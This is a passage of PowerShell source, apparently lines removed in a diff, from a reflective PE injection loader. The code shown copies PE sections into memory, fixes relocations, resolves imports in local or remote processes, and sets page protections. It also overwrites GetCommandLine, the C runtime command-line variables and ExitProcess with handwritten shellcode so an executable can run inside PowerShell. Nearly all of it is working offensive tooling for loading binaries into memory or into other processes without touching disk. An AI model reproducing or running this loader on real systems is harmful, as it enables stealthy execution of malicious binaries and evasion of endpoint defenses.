$GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) - if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) - { - Throw "Call to ReadProcessMemory failed" - } - [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) - - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - - return $ProcAddress - } - - - Function Copy-Sections - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Byte[]] - $PEBytes, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 3, Mandatory = $true)] - [System.Object] - $Win32Types - ) - - for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) - { - [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) - $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) - - #Address to copy the section to - [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) - - #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated - # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If - # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, - # so truncate SizeOfRawData to VirtualSize - $SizeOfRawData = $SectionHeader.SizeOfRawData - - if ($SectionHeader.PointerToRawData -eq 0) - { - $SizeOfRawData = 0 - } - - if ($SizeOfRawData -gt $SectionHeader.VirtualSize) - { - $SizeOfRawData = $SectionHeader.VirtualSize - } - - if ($SizeOfRawData -gt 0) - { - Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null - [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) - } - - #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space - if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) - { - $Difference = $SectionHeader.VirtualSize - $SizeOfRawData - [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) - Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null - $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null - } - } - } - - - Function Update-MemoryAddresses - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 1, Mandatory = $true)] - [Int64] - $OriginalImageBase, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Constants, - - [Parameter(Position = 3, Mandatory = $true)] - [System.Object] - $Win32Types - ) - - [Int64]$BaseDifference = 0 - $AddDifference = $true #Track if the difference variable should be added or subtracted from variables - [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) - - #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do - if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` - -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) - { - return - } - - - elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) - { - $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) - $AddDifference = $false - } - elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) - { - $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) - } - - #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified - [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) - while($true) - { - #If SizeOfBlock == 0, we are done - $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) - - if ($BaseRelocationTable.SizeOfBlock -eq 0) - { - break - } - - [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) - $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 - - #Loop through each relocation - for($i = 0; $i -lt $NumRelocations; $i++) - { - #Get info for this relocation - $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) - [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) - - #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase - [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF - [UInt16]$RelocType = $RelocationInfo -band 0xF000 - for ($j = 0; $j -lt 12; $j++) - { - $RelocType = [Math]::Floor($RelocType / 2) - } - - #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. - #This appears to be true for EXE's as well. - # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx - if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` - -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) - { - #Get the current memory address and update it based off the difference between PE expected base address and actual base address - [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) - [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) - - if ($AddDifference -eq $true) - { - [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) - } - else - { - [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) - } - - [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null - } - elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) - { - #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it - Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" - } - } - - $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) - } - } - - - Function Import-DllImports - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Types, - - [Parameter(Position = 3, Mandatory = $true)] - [System.Object] - $Win32Constants, - - [Parameter(Position = 4, Mandatory = $false)] - [IntPtr] - $RemoteProcHandle - ) - - $RemoteLoading = $false - if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) - { - $RemoteLoading = $true - } - - if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) - { - [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) - - while ($true) - { - $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) - - #If the structure is null, it signals that this is the end of the array - if ($ImportDescriptor.Characteristics -eq 0 ` - -and $ImportDescriptor.FirstThunk -eq 0 ` - -and $ImportDescriptor.ForwarderChain -eq 0 ` - -and $ImportDescriptor.Name -eq 0 ` - -and $ImportDescriptor.TimeDateStamp -eq 0) - { - Write-Verbose "Done importing DLL imports" - break - } - - $ImportDllHandle = [IntPtr]::Zero - $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) - $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) - - if ($RemoteLoading -eq $true) - { - $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr - } - else - { - $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) - } - - if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) - { - throw "Error importing DLL, DLLName: $ImportDllPath" - } - - #Get the first thunk, then loop through all of them - [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) - [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk - [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) - - while ($OriginalThunkRefVal -ne [IntPtr]::Zero) - { - $ProcedureName = '' - #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit - # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint - # and doing the comparison, just see if it is less than 0 - [IntPtr]$NewThunkRef = [IntPtr]::Zero - if([Int64]$OriginalThunkRefVal -lt 0) - { - $ProcedureName = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal - } - else - { - [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) - $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) - $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) - } - - if ($RemoteLoading -eq $true) - { - [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionName $ProcedureName - } - else - { - [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) - } - - if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) - { - Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" - } - - [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) - - $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) - [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) - [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) - } - - $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) - } - } - } - - Function Get-VirtualProtectValue - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [UInt32] - $SectionCharacteristics - ) - - $ProtectionFlag = 0x0 - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) - { - $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE - } - else - { - $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ - } - } - else - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) - { - $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY - } - else - { - $ProtectionFlag = $Win32Constants.PAGE_EXECUTE - } - } - } - else - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) - { - $ProtectionFlag = $Win32Constants.PAGE_READWRITE - } - else - { - $ProtectionFlag = $Win32Constants.PAGE_READONLY - } - } - else - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) - { - $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY - } - else - { - $ProtectionFlag = $Win32Constants.PAGE_NOACCESS - } - } - } - - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) - { - $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE - } - - return $ProtectionFlag - } - - Function Update-MemoryProtectionFlags - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Constants, - - [Parameter(Position = 3, Mandatory = $true)] - [System.Object] - $Win32Types - ) - - for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) - { - [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) - $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) - [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) - - [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics - [UInt32]$SectionSize = $SectionHeader.VirtualSize - - [UInt32]$OldProtectFlag = 0 - Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null - $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) - if ($Success -eq $false) - { - Throw "Unable to change memory protection" - } - } - } - - #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE - #Returns an object with addresses to copies of the bytes that were overwritten (and the count) - Function Update-ExeFunctions - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Constants, - - [Parameter(Position = 3, Mandatory = $true)] - [String] - $ExeArguments, - - [Parameter(Position = 4, Mandatory = $true)] - [IntPtr] - $ExeDoneBytePtr - ) - - #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. - $ReturnArray = @() - - $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) - [UInt32]$OldProtectFlag = 0 - - [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") - if ($Kernel32Handle -eq [IntPtr]::Zero) - { - throw "Kernel32 handle null" - } - - [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") - if ($KernelBaseHandle -eq [IntPtr]::Zero) - { - throw "KernelBase handle null" - } - - ################################################# - #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. - # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. - $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) - $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) - - [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") - [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") - - if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) - { - throw "GetCommandLine ptr null. GetCommandLineA: $GetCommandLineAAddr. GetCommandLineW: $GetCommandLineWAddr" - } - - #Prepare the shellcode - [Byte[]]$Shellcode1 = @() - if ($PtrSize -eq 8) - { - $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 - } - $Shellcode1 += 0xb8 - - [Byte[]]$Shellcode2 = @(0xc3) - $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length - - - #Make copy of GetCommandLineA and GetCommandLineW - $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) - $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) - $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null - $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null - $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) - $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) - - #Overwrite GetCommandLineA - [UInt32]$OldProtectFlag = 0 - $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) - if ($Success = $false) - { - throw "Call to VirtualProtect failed" - } - - $GetCommandLineAAddrTemp = $GetCommandLineAAddr - Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp - $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) - $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize - Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp - - $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null - - - #Overwrite GetCommandLineW - [UInt32]$OldProtectFlag = 0 - $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) - if ($Success = $false) - { - throw "Call to VirtualProtect failed" - } - - $GetCommandLineWAddrTemp = $GetCommandLineWAddr - Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp - $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) - $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize - Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp - - $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null - ################################################# - - - ################################################# - #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. - # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. - # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the - # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. - $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` - , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") - - foreach ($Dll in $DllList) - { - [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) - if ($DllHandle -ne [IntPtr]::Zero) - { - [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") - [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") - if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) - { - "Error, couldn't find _wcmdln or _acmdln" - } - - $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) - $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) - - #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state - $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) - $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) - $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) - $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) - $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) - $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) - - $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) - if ($Success = $false) - { - throw "Call to VirtualProtect failed" - } - [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) - $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null - - $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) - if ($Success = $false) - { - throw "Call to VirtualProtect failed" - } - [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) - $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null - } - } - ################################################# - - - ################################################# - #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. - - $ReturnArray = @() - $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process - - #CorExitProcess (compiled in to visual studio c++) - [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") - if ($MscoreeHandle -eq [IntPtr]::Zero) - { - throw "mscoree handle null" - } - [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") - if ($CorExitProcessAddr -eq [IntPtr]::Zero) - { - Throw "CorExitProcess address not found" - } - $ExitFunctions += $CorExitProcessAddr - - #ExitProcess (what non-managed programs use) - [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") - if ($ExitProcessAddr -eq [IntPtr]::Zero) - { - Throw "ExitProcess address not found" - } - $ExitFunctions += $ExitProcessAddr - - [UInt32]$OldProtectFlag = 0 - foreach ($ProcExitFunctionAddr in $ExitFunctions) - { - $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr - #The following is the shellcode (Shellcode: ExitThread.asm): - #32bit shellcode - [Byte[]]$Shellcode1 = @(0xbb) - [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) - #64bit shellcode (Shellcode: ExitThread.asm) - if ($PtrSize -eq 8) - { - [Byte[]]$Shellcode1 = @(0x48, 0xbb) - [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) - } - [Byte[]]$Shellcode3 = @(0xff, 0xd3) - $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length - - [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") - if ($ExitThreadAddr -eq [IntPtr]::Zero) - { - Throw "ExitThread address not found" - } - - $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) - if ($Success -eq $false) - { - Throw "Call to VirtualProtect failed" - } - - #Make copy of original ExitProcess bytes - $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) - $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null - $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) - - #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then - # call ExitThread - Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp - $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) - $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize - Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp - $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) - $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize - Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp - - $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null - } - ################################################# - - Write-Output $ReturnArray - } - - - #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) - # It copies Count bytes from Source to Destination. - Function Copy-ArrayOfMemAddresses - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Array[]] - $CopyInfo, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Constants - ) - - [UInt32]$OldProtectFlag = 0 - foreach ($Info in $CopyInfo) - { - $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) - if ($Success -eq $false) - { - Throw "Call to VirtualProtect failed" - } - - $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null - - $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null - } - } - - - ##################################### - ########## FUNCTIONS ########### - ##################################### - Function Get-MemoryProcAddress - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [IntPtr] - $PEHandle, - - 